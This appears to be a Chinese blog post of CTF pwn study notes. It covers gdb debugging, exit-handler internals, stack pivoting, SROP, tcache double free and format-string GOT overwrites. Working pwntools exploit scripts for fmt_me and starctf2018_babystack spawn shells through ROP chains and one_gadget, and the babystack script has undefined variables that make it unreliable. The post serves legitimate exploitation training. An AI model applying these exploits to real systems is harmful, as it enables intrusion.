Ubuntu18学习记录(持续更新中~~~)

 

https://pwnable.kr/

https://w3challs.com/challenges/wargame

http://overthewire.org/wargames/

http://www.root-me.org

https://pwnable.tw/

http://wargame.kr/

https://pwnable.xyz/

https://ropemporium.com/

————————————————

版权声明:本文为优快云博主「GJQI12」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.youkuaiyun.com/GJQI12/article/details/105425458

利用 *$rebase(0x1231)进行调试时,要时gdb上下文显现,得让调试文本与远程程序的交互至少执行到断点的位置

RTLD_GLOBAL此共享对象定义的符号将可用于后续加载的共享对象的符号解析

c语言atoi函数的需要注意的地方:被转换的字符串中如果含有abcd等这样的不可见字符,那么会被截断,因为传给atol的参数会被遇见第一个不是0~9的字符所截断 从而返回之前的值,因此当输入的地址是以str形式输入时,不能以16进制形式输入,而应当以10进制形式输入,

而且chr的作用和p8效果相当。

exit函数执行流程,exit函数的调用流程exit函数--->run_exit_handlers函数--->_dl_fini函数---> rtld_lock_unlock_recursive指针

而查看rtld_lock_unlock_recursive指针 需要动态调试gdb.attach(p,’b*$rebase(,,,)’)

而后“p _rtld_global” 而后“ p &_rtld_global.,,,”

而且据说got.plt是可写的,只需要动态调试进入界面查看即可

一般调试到jmp plt处查看,而后vmmap查找第一个被加载的libc的地址,二者进行distance

bytes类型是指一堆字节的集合,在python中以b开头的字符串都是bytes类型

b'\xe5\xb0\x8f\xe7\x8c\xbf\xe5\x9c\x88' #b开头的都代表是bytes类型,是以16进制来显示的,2个16进制代表一个字节。 utf-8是3个字节代表一个中文,所以以上正好是9个字节

bytes类型的使用举例:

# sys_read

syscall = 0x4000BE

sigframe = SigreturnFrame()

sigframe.rax = 0

sigframe.rdi = 0

sigframe.rdx = 0x400

sigframe.rsi = stack_addr

sigframe.rsp = stack_addr

sigframe.rip = syscall

p2 = p64(main_addr) + p64(0) + bytes(sigframe)

r.send(p2)

360chunqiu2017_smallest

本题最关键的地方在于IDA内部汇编语言的理解

如上图,不论系统函数如何调用,实际上汇编代码里头只有retn才会使栈顶指针发生变化,而且retn里面的pop一次性只对以8个字节为一个小单位有效

[GKCTF 2021]checkin

对于本题的感悟,随着技术发展,2021年这个题似乎更倾向与pwn和其他方向相结合,比如和密码方向,更加的就算考验对汇编代码的理解,本题主要是栈溢出很有限8个字节,用来覆盖ebp,而后利用汇编代码两次leave +retn进行栈迁移,迁移后的最后一个p64:puts函数的地址更为巧妙,需要仔细分析汇编代码,才能控制执行流,巧妙返回可利用函数。从而再次分析前后汇编代码,进行onegadget覆盖函数返回地址。

mrctf2020_easyrop

本题关键之处在覆盖子函数返回地址时,输入点距离返回地址的偏移量问题:

p2 = b'a' * 0x12 + p64(shell)

关键在于上面式子的理解,

比较会骗人,在IDA上需要padiing的是0x318,但是上图可以看出,在输入了0x300后

再输入0x18的垃圾数据话多了6个字节。

离谱阿~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

cyclic 768用来生成重复数据

pwn题bbctf_2020_fmt_me

利用了安全函数snprintf,fgets:

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

这里修改为system+6是为了再次重定位

from os import system

from pwn import*

p=remote("node4.buuoj.cn",27058)

context(os="linux",arch="amd64",log_level="debug")

elf=ELF("./me")


 

atoi_=elf.got["atoi"]

system_got=elf.got["system"]

print(hex(system_got))

print("hello")

main_=elf.sym["main"]

print(main_)

#main_=0x4011f7

system_plt=elf.plt["system"]

offset=6

p.sendline("2")

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

p.recvuntil("gift.")

p.sendline(p1)

p.sendline("/bin/sh\x00")

p.interactive()

这里fmtstr_payload居然还可以用于修改64位下的got表地址

用于往某个地址里面输入值,这里是往got的地址对应空间输入值,使得函数的plt处指令直接jmp条转到地址(got表内的地址)对应处的指令开始执行

strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符;

由此可见‘\x61’就等价表示一个字符‘a’

ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) 

这个p64是将0x开始的16进制数字转化成其ascii码对应的字符数字模式并且以‘\x,,’的形式显示,而其这里的’/bin//sh’居然可以双斜杠

def encode(s):
    res = ''
    for i in range(len(s)):
        res += chr(ord(s[i])^0x66)
    return res
ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) # input /bin/sh
而s=ROP += p64(pop_rdi) + p64(bss) + p64(pop_rdx_rsi) + p64(0)*2 + p64(pop_rax) + p64(0x3B) + p64(syscall)
rop执行excve系统调用
由上面的函数可知:prd是将字符转成10进制ascii码值,异或计算完后再chr转化成字符进行拼接。chr,ord都是对一个字节进行操作


http://www.binaryconvert.com/convert_double.html此连接转换小数

太奇葩了,有时候if判断语句中的变量可以在IDA上的rodata三面查看













starctf2018_babystack的收获
以下是wp
# -*- coding: utf-8 -*-
from pwn import *


r = process("./221")
elf = ELF("./64/libc-2.27.so")

context.log_level = "debug"


pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
#顺便做个栈迁移
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
#没必要改rdx

payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x0')

r.sendlineafter("send?\n", str(0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

r.send(p64(one_gadget))

r.interactive()


第一:加深了对栈迁移的理解,就是两次leave ;ret
而后这个迁移后要干的事情是执行指令,所以在迁移目的地应该放gadget或者指令地址。以便ret。而且一般栈迁移的地址要距离第一个被ret的地址8个字节




memset可以初始化内存的值





一步步理解sub_80486BB(*(char **)*(&ptr + a1), v3 + 1);
首先这个&ptr+a1就是一个bss空间前面的地址。*(&ptr + a1)就等于地址右边空间 的内容,char**指的是强制类型转成一个指向指针的指针变量,再加个*意思是*(&ptr + a1)就等于地址右边空间 的内容指向的空间的内容,就是地址右边的内容(这句话非常重要)


parseheap命令在gdbdbg好用

ciscn_2019_es_1 的做题感受:

第一个就是泄露libc相关地址:利用tcache的特性申请大于0x400的chunk,而后进行释放泄露。

第二个就是


 

根据上图:double free的利用:本题只是释放了内部chunk(name chunk),外部chunk并没有释放,exp中第一次add成功修改tache中的列表排列,使得chunk的fd指向free_hook相关区域,而后两次申请,根据,程序,中的代码要求及申请chunk的大小要求,此时free_hook相关区域大小就是0x20,所以优先被申请为外部chunk。?????本题理解仍然有问题,,,可能需要自己调试一遍才行,这样子纯推理是不行的


 


 


 


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值